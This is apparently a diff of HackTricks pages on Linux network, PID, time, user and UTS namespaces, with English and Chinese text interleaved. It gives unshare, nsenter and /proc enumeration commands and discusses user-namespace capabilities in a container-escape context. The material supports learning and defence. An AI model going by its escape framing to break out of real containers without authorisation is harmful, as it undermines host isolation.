网络命名空间是一个Linux内核特性提供网络栈的隔离允许**每个网络命名空间拥有自己的独立网络配置**、接口、IP地址、路由表和防火墙规则。这种隔离在各种场景中非常有用例如容器化其中每个容器应具有自己的网络配置与其他容器和主机系统独立。
### How it works:
### 工作原理:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
1. 当创建一个新的网络命名空间时,它将以**完全隔离的网络栈**开始,**没有网络接口**除了回环接口lo。这意味着在新的网络命名空间中运行的进程默认无法与其他命名空间或主机系统中的进程通信。
2. **虚拟网络接口**如veth对可以在网络命名空间之间创建和移动。这允许在命名空间之间或命名空间与主机系统之间建立网络连接。例如veth对的一端可以放置在容器的网络命名空间中另一端可以连接到主机命名空间中的**桥接**或其他网络接口,为容器提供网络连接。
3. 命名空间内的网络接口可以拥有**自己的IP地址、路由表和防火墙规则**,与其他命名空间独立。这允许不同网络命名空间中的进程具有不同的网络配置,并像在独立的网络系统上运行一样操作。
4. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNET`标志的`unshare()``clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的网络配置和接口。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题说明**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 的错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Find all Network namespaces
### 查找所有网络命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Network namespace
### 进入网络命名空间
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
## References
## 参考
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,87 +2,77 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
PID进程标识符命名空间是Linux内核中的一个特性通过使一组进程拥有自己独特的PID集合与其他命名空间中的PID分开从而提供进程隔离。这在容器化中尤为重要因为进程隔离对于安全性和资源管理至关重要。
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
当创建一个新的PID命名空间时该命名空间中的第一个进程被分配PID 1。这个进程成为新命名空间的“init”进程负责管理该命名空间内的其他进程。在命名空间内创建的每个后续进程将拥有该命名空间内的唯一PID这些PID将独立于其他命名空间中的PID。
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
从PID命名空间内进程的角度来看它只能看到同一命名空间中的其他进程。它无法感知其他命名空间中的进程也无法使用传统的进程管理工具例如`kill``wait`等)与它们交互。这提供了一种隔离级别,有助于防止进程相互干扰。
### How it works:
### 工作原理:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
1. 当创建一个新进程时(例如,通过使用`clone()`系统调用该进程可以被分配到一个新的或现有的PID命名空间。**如果创建了一个新命名空间该进程将成为该命名空间的“init”进程**。
2. **内核**维护一个**新命名空间中的PID与父命名空间中相应PID之间的映射**(即,从中创建新命名空间的命名空间)。这个映射**允许内核在必要时翻译PID**,例如在不同命名空间中的进程之间发送信号时。
3. **PID命名空间内的进程只能看到并与同一命名空间中的其他进程交互**。它们无法感知其他命名空间中的进程并且它们的PID在其命名空间内是唯一的。
4. 当**PID命名空间被销毁**例如当命名空间的“init”进程退出时**该命名空间内的所有进程都将被终止**。这确保与命名空间相关的所有资源都得到妥善清理。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题解释**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许一个进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程处于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 的错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
</details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离视图**
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace are your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Find all PID namespaces
### 查找所有 PID 命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
请注意初始默认PID 命名空间中的 root 用户可以看到所有进程,包括新 PID 命名空间中的进程,这就是我们可以看到所有 PID 命名空间的原因。
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
### Enter inside a PID namespace
### 进入 PID 命名空间
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
当你从默认命名空间进入一个 PID 命名空间时,你仍然能够看到所有的进程。而来自该 PID 命名空间的进程将能够看到 PID 命名空间中的新 bash。
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
此外,你只能 **在你是 root 的情况下进入另一个进程的 PID 命名空间**。并且你 **不能** **进入** 其他命名空间 **而没有指向它的描述符**(如 `/proc/self/ns/pid`
## References

View File

@ -1,72 +1,62 @@
# Time Namespace
# 时间命名空间
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
Linux中的时间命名空间允许对系统单调时钟和启动时间时钟进行每个命名空间的偏移。它通常用于Linux容器中以更改容器内的日期/时间,并在从检查点或快照恢复后调整时钟。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题说明**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Find all Time namespaces
### 查找所有时间命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Time namespace
### 进入时间命名空间
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,103 +1,88 @@
# User Namespace
# 用户命名空间
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
用户命名空间是一个Linux内核特性**提供用户和组ID映射的隔离**,允许每个用户命名空间拥有**自己的一组用户和组ID**。这种隔离使得在不同用户命名空间中运行的进程**可以拥有不同的权限和所有权**即使它们在数字上共享相同的用户和组ID。
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
用户命名空间在容器化中特别有用每个容器应该拥有自己独立的一组用户和组ID从而在容器与主机系统之间提供更好的安全性和隔离。
### How it works:
### 工作原理:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
1. 当创建一个新的用户命名空间时,它**以一个空的用户和组ID映射集开始**。这意味着在新的用户命名空间中运行的任何进程**最初在命名空间外没有权限**。
2. 可以在新命名空间中的用户和组ID与父或主机命名空间中的ID之间建立ID映射。这**允许新命名空间中的进程拥有与父命名空间中的用户和组ID相对应的权限和所有权**。然而ID映射可以限制在特定范围和ID子集内从而对新命名空间中进程所授予的权限进行细粒度控制。
3. 在用户命名空间内,**进程可以对命名空间内的操作拥有完全的root权限UID 0**,同时在命名空间外仍然拥有有限的权限。这允许**容器在其自己的命名空间内以类似root的能力运行而不在主机系统上拥有完全的root权限**。
4. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWUSER`标志的`unshare()``clone()`系统调用创建新的命名空间。当进程移动到新命名空间或创建一个新命名空间时它将开始使用与该命名空间关联的用户和组ID映射。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题说明**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 的错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
要使用用户命名空间Docker 守护进程需要使用 **`--userns-remap=default`** 启动(在 Ubuntu 14.04 中,可以通过修改 `/etc/default/docker` 然后执行 `sudo service docker restart` 来完成)
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程在哪个命名空间中
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
It's possible to check the user map from the docker container with:
可以通过以下命令检查 Docker 容器中的用户映射:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Or from the host with:
或从主机使用:
```bash
cat /proc/<pid>/uid_map
```
### Find all User namespaces
### 查找所有用户命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a User namespace
### 进入用户命名空间
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/user`)。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
### Create new User namespace (with mappings)
### 创建新的用户命名空间(带映射)
```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### 恢复能力
### Recovering Capabilities
在用户命名空间的情况下,**当创建一个新的用户命名空间时,进入该命名空间的进程会被授予该命名空间内的完整能力集**。这些能力允许进程执行特权操作,例如**挂载** **文件系统**、创建设备或更改文件的所有权,但**仅在其用户命名空间的上下文中**。
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
例如,当你在用户命名空间内拥有 `CAP_SYS_ADMIN` 能力时,你可以执行通常需要此能力的操作,如挂载文件系统,但仅在你的用户命名空间的上下文中。你使用此能力执行的任何操作都不会影响主机系统或其他命名空间。
> [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
> 因此,即使在新的用户命名空间内获取一个新进程**会让你恢复所有能力**CapEff: 000001ffffffffff你实际上**只能使用与命名空间相关的能力**(例如挂载),而不是每一个。因此,仅凭这一点不足以逃离 Docker 容器。
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,77 +2,67 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
UTSUNIX时间共享系统命名空间是一个Linux内核特性提供了**两个系统标识符的隔离****主机名**和**NIS**网络信息服务域名。这种隔离允许每个UTS命名空间拥有**自己的独立主机名和NIS域名**,这在容器化场景中特别有用,因为每个容器应该看起来像一个具有自己主机名的独立系统。
### How it works:
### 工作原理:
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
1. 当创建一个新的UTS命名空间时它会以**从其父命名空间复制的主机名和NIS域名**开始。这意味着在创建时,新的命名空间**共享与其父命名空间相同的标识符**。然而在命名空间内对主机名或NIS域名的任何后续更改将不会影响其他命名空间。
2. UTS命名空间内的进程**可以使用`sethostname()``setdomainname()`系统调用分别更改主机名和NIS域名**。这些更改是本地的,不会影响其他命名空间或主机系统。
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWUTS`标志的`unshare()``clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时它将开始使用与该命名空间关联的主机名和NIS域名。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
